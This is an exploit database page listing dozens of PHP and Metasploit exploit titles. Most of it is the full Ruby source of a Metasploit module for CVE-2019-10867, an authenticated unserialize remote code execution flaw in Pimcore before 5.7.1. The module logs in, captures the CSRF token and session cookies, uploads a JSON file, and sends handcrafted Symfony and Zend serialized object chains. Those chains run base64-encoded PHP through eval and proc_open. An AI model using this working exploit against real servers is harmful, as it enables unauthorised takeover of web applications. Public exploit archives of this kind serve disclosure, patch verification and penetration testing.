Menu

Improved exploit search engine. Try it out

"Pimcore < 5.71 - Unserialize RCE (Metasploit)"

Author

Metasploit

Platform

php

Release date

2019-04-30

Release Date Title Type Platform Author
2019-05-24 "Opencart 3.0.3.2 - 'extension/feed/google_base' Denial of Service PoC" webapps php "Todor Donev"
2019-05-23 "Nagios XI 5.6.1 - SQL injection" webapps php JameelNabbo
2019-05-22 "Horde Webmail 5.2.22 - Multiple Vulnerabilities" webapps php InfinitumIT
2019-05-21 "WordPress Plugin WPGraphQL 0.2.3 - Multiple Vulnerabilities" webapps php "Simone Quatrini"
2019-05-21 "Moodle Jmol Filter 6.1 - Directory Traversal / Cross-Site Scripting" webapps php "Dionach Ltd"
2019-05-23 "Shopware - createInstanceFromNamedArguments PHP Object Instantiation Remote Code Execution (Metasploit)" remote php Metasploit
2019-05-20 "eLabFTW 1.8.5 - Arbitrary File Upload / Remote Code Execution" webapps php liquidsky
2019-05-20 "GetSimpleCMS - Unauthenticated Remote Code Execution (Metasploit)" remote php Metasploit
2019-05-17 "Interspire Email Marketer 6.20 - 'surveys_submit.php' Remote Code Execution" webapps php "numan türle"
2019-05-16 "DeepSound 1.0.4 - SQL Injection" webapps php "Mehmet EMIROGLU"
2019-05-15 "Legrand BTicino Driver Manager F454 1.0.51 - Cross-Site Request Forgery / Cross-Site Scripting" webapps php LiquidWorm
2019-05-15 "CommSy 8.6.5 - SQL injection" webapps php "Jens Regel_ Schneider_ Wulf"
2019-05-14 "PasteShr 1.6 - Multiple SQL Injection" webapps php "Mehmet EMIROGLU"
2019-05-14 "Schneider Electric U.Motion Builder 1.3.4 - 'track_import_export.php object_id' Unauthenticated Command Injection" webapps php "Julien Ahrens"
2019-05-14 "Sales ERP 8.1 - Multiple SQL Injection" webapps php "Mehmet EMIROGLU"
2019-05-14 "PHP-Fusion 9.03.00 - 'Edit Profile' Remote Code Execution (Metasploit)" remote php AkkuS
2019-05-13 "OpenProject 5.0.0 - 8.3.1 - SQL Injection" webapps php "SEC Consult"
2019-05-13 "XOOPS 2.5.9 - SQL Injection" webapps php "felipe andrian"
2019-05-13 "SOCA Access Control System 180612 - Cross-Site Request Forgery (Add Admin)" webapps php LiquidWorm
2019-05-13 "SOCA Access Control System 180612 - SQL Injection" webapps php LiquidWorm
2019-05-13 "SOCA Access Control System 180612 - Information Disclosure" webapps php LiquidWorm
2019-05-09 "Zoho ManageEngine ADSelfService Plus 5.7 < 5702 build - Cross-Site Scripting" webapps php "Ibrahim Raafat"
2019-05-06 "PHPads 2.0 - 'click.php3?bannerID' SQL Injection" webapps php "felipe andrian"
2019-05-03 "Wordpress Plugin Social Warfare < 3.5.3 - Remote Code Execution" webapps php hash3liZer
2019-05-03 "Instagram Auto Follow - Authentication Bypass" webapps php Veyselxan
2019-04-30 "Agent Tesla Botnet - Information Disclosure" webapps php n4pst3r
2019-04-30 "Hyvikk Fleet Manager - Shell Upload" webapps php saxgy1331
2019-04-30 "Joomla! Component JiFile 2.3.1 - Arbitrary File Download" webapps php "Mr Winst0n"
2019-04-30 "HumHub 1.3.12 - Cross-Site Scripting" webapps php "Kağan EĞLENCE"
2019-04-30 "Joomla! Component ARI Quiz 3.7.4 - SQL Injection" webapps php "Mr Winst0n"
Release Date Title Type Platform Author
2019-05-23 "Shopware - createInstanceFromNamedArguments PHP Object Instantiation Remote Code Execution (Metasploit)" remote php Metasploit
2019-05-23 "Apple Mac OS X - Feedback Assistant Race Condition (Metasploit)" local macos Metasploit
2019-05-20 "GetSimpleCMS - Unauthenticated Remote Code Execution (Metasploit)" remote php Metasploit
2019-05-08 "Oracle Weblogic Server - 'AsyncResponseService' Deserialization Remote Code Execution (Metasploit)" remote multiple Metasploit
2019-05-08 "PostgreSQL 9.3 - COPY FROM PROGRAM Command Execution (Metasploit)" remote multiple Metasploit
2019-05-08 "Google Chrome 72.0.3626.119 - 'FileReader' Use-After-Free (Metasploit)" remote windows_x86 Metasploit
2019-05-02 "Ruby On Rails - DoubleTap Development Mode secret_key_base Remote Code Execution (Metasploit)" remote linux Metasploit
2019-04-30 "Pimcore < 5.71 - Unserialize RCE (Metasploit)" remote php Metasploit
2019-04-30 "AIS logistics ESEL-Server - Unauth SQL Injection RCE (Metasploit)" remote windows Metasploit
2019-04-25 "RARLAB WinRAR 5.61 - ACE Format Input Validation Remote Code Execution (Metasploit)" local windows Metasploit
2019-04-19 "Atlassian Confluence Widget Connector Macro - Velocity Template Injection (Metasploit)" remote multiple Metasploit
2019-04-19 "SystemTap 1.3 - MODPROBE_OPTIONS Privilege Escalation (Metasploit)" local linux Metasploit
2019-04-18 "LibreOffice < 6.0.7 / 6.1.3 - Macro Code Execution (Metasploit)" local multiple Metasploit
2019-04-15 "Cisco RV130W Routers - Management Interface Remote Command Execution (Metasploit)" remote hardware Metasploit
2019-04-12 "Zimbra Collaboration - Autodiscover Servlet XXE and ProxyServlet SSRF (Metasploit)" remote linux Metasploit
2019-04-12 "Microsoft Windows - Contact File Format Arbitary Code Execution (Metasploit)" local windows Metasploit
2019-04-05 "WordPress 5.0.0 - Crop-image Shell Upload (Metasploit)" remote php Metasploit
2019-04-03 "Cisco RV320 and RV325 - Unauthenticated Remote Code Execution (Metasploit)" remote hardware Metasploit
2019-03-28 "Oracle Weblogic Server Deserialization RCE - Raw Object (Metasploit)" remote multiple Metasploit
2019-03-28 "CMS Made Simple (CMSMS) Showtime2 - File Upload RCE (Metasploit)" remote php Metasploit
2019-03-19 "Jenkins 2.137 and Pipeline Groovy Plugin 2.61 - ACL Bypass and Metaprogramming RCE (Metasploit)" remote java Metasploit
2019-03-18 "BMC Patrol Agent - Privilege Escalation Code Execution Execution (Metasploit)" remote multiple Metasploit
2019-03-13 "elFinder PHP Connector < 2.1.48 - exiftran Command Injection (Metasploit)" remote php Metasploit
2019-03-07 "Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)" remote php Metasploit
2019-03-07 "Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit)" remote linux Metasploit
2019-03-07 "FreeBSD - Intel SYSRET Privilege Escalation (Metasploit)" local freebsd_x86-64 Metasploit
2019-02-22 "Nuuo Central Management - Authenticated SQL Server SQL Injection (Metasploit)" remote windows Metasploit
2019-02-20 "Belkin Wemo UPnP - Remote Code Execution (Metasploit)" remote hardware Metasploit
2019-02-11 "NUUO NVRmini - upgrade_handle.php Remote Command Execution (Metasploit)" remote php Metasploit
2019-02-11 "Adobe Flash Player - DeleteRangeTimelineOperation Type Confusion (Metasploit)" remote osx Metasploit
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46783/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46783/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46783/41207/pimcore-571-unserialize-rce-metasploit/download/", "exploit_id": "46783", "exploit_description": "\"Pimcore < 5.71 - Unserialize RCE (Metasploit)\"", "exploit_date": "2019-04-30", "exploit_author": "Metasploit", "exploit_type": "remote", "exploit_platform": "php", "exploit_port": null}
                                            

For full documentation follow the link above

Browse exploit DB API Browse

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name' => "Pimcore Unserialize RCE",
      'Description' => %q(
        This module exploits a PHP unserialize() in Pimcore before 5.7.1 to
        execute arbitrary code. An authenticated user with "classes" permission
        could exploit the vulnerability.

        The vulnerability exists in the "ClassController.php" class, where the
        "bulk-commit" method makes it possible to exploit the unserialize function
        when passing untrusted values in "data" parameter.

        Tested on Pimcore 5.4.0-5.4.4, 5.5.1-5.5.4, 5.6.0-5.6.6 with the Symfony
        unserialize payload.

        Tested on Pimcore 4.0.0-4.6.5 with the Zend unserialize payload.
      ),
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'Daniele Scanu', # Discovery & PoC
          'Fabio Cogno' # Metasploit module
        ],
      'References' =>
        [
          ['CVE', '2019-10867'],
          ['URL', 'https://github.com/pimcore/pimcore/commit/38a29e2f4f5f060a73974626952501cee05fda73'],
          ['URL', 'https://snyk.io/vuln/SNYK-PHP-PIMCOREPIMCORE-173998']
        ],
      'Platform' => 'php',
      'Arch' => ARCH_PHP,
      'Targets' =>
        [
          ['Pimcore 5.x (Symfony unserialize payload)', 'type' => :symfony],
          ['Pimcore 4.x (Zend unserialize payload)', 'type' => :zend]
        ],
      'Payload' => {
        'Space' => 8000,
        'DisableNops' => true
      },
      'Privileged' => false,
      'DisclosureDate' => "Mar 11 2019",
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, "Base Pimcore directory path", '/']),
        OptString.new('USERNAME', [true, "Username to authenticate with", '']),
        OptString.new('PASSWORD', [false, "Password to authenticate with", ''])
      ]
    )
  end

  def login
    # Try to login
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'login', 'login'),
      'vars_post' => {
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    )

    unless res
      fail_with(Failure::Unreachable, 'Connection failed')
    end

    if res.code == 302 && res.headers['Location'] =~ /\/admin\/\?_dc=/
      print_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")

      # Grabbing CSRF token and PHPSESSID cookie
      return grab_csrftoken(res)
    end

    if res.code == 302 && res.headers['Location'] =~ /auth_failed=true/
      fail_with(Failure::NoAccess, 'Invalid credentials')
    end

    fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
  end

  def grab_csrftoken(auth_res)
    uri = "#{target_uri.path}admin/?_dc=#{auth_res.headers['Location'].scan(/\/admin\/\?_dc=([0-9]+)/).flatten.first}"

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(uri),
      'cookie' => auth_res.get_cookies
    )

    if res && res.code == 200
      # Pimcore 5.x
      unless res.body.scan(/"csrfToken": "[a-z0-9]+",/).empty?
        @csrf_token = res.body.scan(/"csrfToken": "([a-z0-9]+)",/).flatten.first.to_s
        @pimcore_cookies = res.get_cookies.scan(/(PHPSESSID=[a-z0-9]+;)/).flatten[0]
        fail_with(Failure::NotFound, 'Failed to retrieve cookies') unless @pimcore_cookies
        @pimcore_cookies << " pimcore_admin_sid=1;"

        # Version
        version = res.body.scan(/"pimcore platform \(v([0-9]{1}\.[0-9]{1}\.[0-9]{1})\|([a-z0-9]+)\)"/i).flatten[0]
        build = res.body.scan(/"pimcore platform \(v([0-9]{1}\.[0-9]{1}\.[0-9]{1})\|([a-z0-9]+)\)"/i).flatten[1]
        fail_with(Failure::NotFound, 'Failed to retrieve the version and build') unless version && build
        print_version(version, build)
        return assign_target(version)
      end

      # Pimcore 4.x
      unless res.body.scan(/csrfToken: "[a-z0-9]+",/).empty?
        @csrf_token = res.body.scan(/csrfToken: "([a-z0-9]+)",/).flatten.first.to_s
        @pimcore_cookies = res.get_cookies.scan(/(pimcore_admin_sid=[a-z0-9]+;)/).flatten[0]
        fail_with(Failure::NotFound, 'Unable to retrieve cookies') unless @pimcore_cookies

        # Version
        version = res.body.scan(/version: "([0-9]{1}\.[0-9]{1}\.[0-9]{1})",/i).flatten[0]
        build = res.body.scan(/build: "([0-9]+)",/i).flatten[0]
        fail_with(Failure::NotFound, 'Failed to retrieve the version and build') unless version && build
        print_version(version, build)
        return assign_target(version)
      end

      # Version different from 4.x or 5.x
      return nil
    else
      fail_with(Failure::NoAccess, 'Failed to grab csrfToken and PHPSESSID')
    end
  end

  def print_version(version, build)
    print_status("Pimcore version: #{version}")
    print_status("Pimcore build: #{build}")
  end

  def assign_target(version)
    if Gem::Version.new(version) >= Gem::Version.new('5.0.0') && Gem::Version.new(version) <= Gem::Version.new('5.6.6')
      print_good("The target is vulnerable!")
      return targets[0]
    elsif Gem::Version.new(version) >= Gem::Version.new('4.0.0') && Gem::Version.new(version) <= Gem::Version.new('4.6.5')
      print_good("The target is vulnerable!")
      return targets[1]
    else
      print_error("The target is NOT vulnerable!")
      return nil
    end
  end

  def upload
    # JSON file payload
    fpayload = "{\"customlayout\":[{\"creationDate\": \"#{rand(1..9)}\", \"modificationDate\": \"#{rand(1..9)}\", \"userOwner\": \"#{rand(1..9)}\", \"userModification\": \"#{rand(1..9)}\"}]}"
    # construct POST data
    data = Rex::MIME::Message.new
    data.add_part(fpayload, 'application/json', nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(3..9)}.json\"")

    # send JSON file payload to bulk-import function
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'class', 'bulk-import'),
      'vars_get' => { 'csrfToken' => @csrf_token },
      'cookie' => @pimcore_cookies,
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data.to_s
    )

    unless res
      fail_with(Failure::Unreachable, 'Connection failed')
    end

    if res.code == 200
      json = res.get_json_document
      if json['success'] == true
        print_good("JSON payload uploaded successfully: #{json['filename']}")
        return json['filename']
      else
        print_warning('Could not determine JSON payload file upload')
        return nil
      end
    end
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'login')
    )

    unless res
      return Exploit::CheckCode::Unknown
    end

    if res.code == 200 && res.headers =~ /pimcore/i || res.body =~ /pimcore/i
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Unknown
  end

  def exploit
    # Try to log in, grab csrfToken and select target
    my_target = login
    if my_target.nil?
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end

    # Try to upload JSON payload file
    fname = upload

    unless fname.nil?
      # Register uploaded JSON payload file for cleanup
      register_files_for_cleanup(fname)
    end

    print_status("Selected payload: #{my_target.name}")

    case my_target['type']
    when :symfony
      # The payload to execute
      spayload = "php -r 'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'"

      # The Symfony object payload
      serialize = "O:43:\"Symfony\\Component\\Cache\\Adapter\\ApcuAdapter\":3:{"
      serialize << "s:64:\"\x00Symfony\\Component\\Cache\\Adapter\\AbstractAdapter\x00mergeByLifetime\";"
      serialize << "s:9:\"proc_open\";"
      serialize << "s:58:\"\x00Symfony\\Component\\Cache\\Adapter\\AbstractAdapter\x00namespace\";a:0:{}"
      serialize << "s:57:\"\x00Symfony\\Component\\Cache\\Adapter\\AbstractAdapter\x00deferred\";"
      serialize << "s:#{spayload.length}:\"#{spayload}\";}"
    when :zend
      # The payload to execute
      spayload = "eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));"

      # The Zend1 object payload
      serialize = "a:2:{i:7;O:8:\"Zend_Log\":1:{s:11:\"\x00*\x00_writers\";a:1:{"
      serialize << "i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\x00*\00_eventsToMail\";a:1:{"
      serialize << "i:0;i:1;}s:22:\"\x00*\x00_layoutEventsToMail\";a:0:{}s:8:\"\00*\x00_mail\";"
      serialize << "O:9:\"Zend_Mail\":0:{}s:10:\"\x00*\x00_layout\";O:11:\"Zend_Layout\":3:{"
      serialize << "s:13:\"\x00*\x00_inflector\";O:23:\"Zend_Filter_PregReplace\":2:{"
      serialize << "s:16:\"\x00*\x00_matchPattern\";s:7:\"/(.*)/e\";s:15:\"\x00*\x00_replacement\";"
      serialize << "S:#{spayload.length}:\"#{spayload}\";}"
      serialize << "s:20:\"\x00*\x00_inflectorEnabled\";b:1;s:10:\"\x00*\x00_layout\";"
      serialize << "s:6:\"layout\";}s:22:\"\x00*\x00_subjectPrependText\";N;}}};i:7;i:7;}"
    end

    # send serialized payload
    send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(target_uri, 'admin', 'class', 'bulk-commit'),
        'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
        'cookie' => @pimcore_cookies,
        'vars_post' => {
          'filename' => fname,
          'data' => JSON.generate(
            'type' => 'customlayout',
            'name' => serialize
          )
        },
        'headers' => {
          'X-pimcore-csrf-token' => @csrf_token
        }
      }, 30
    )
  end
end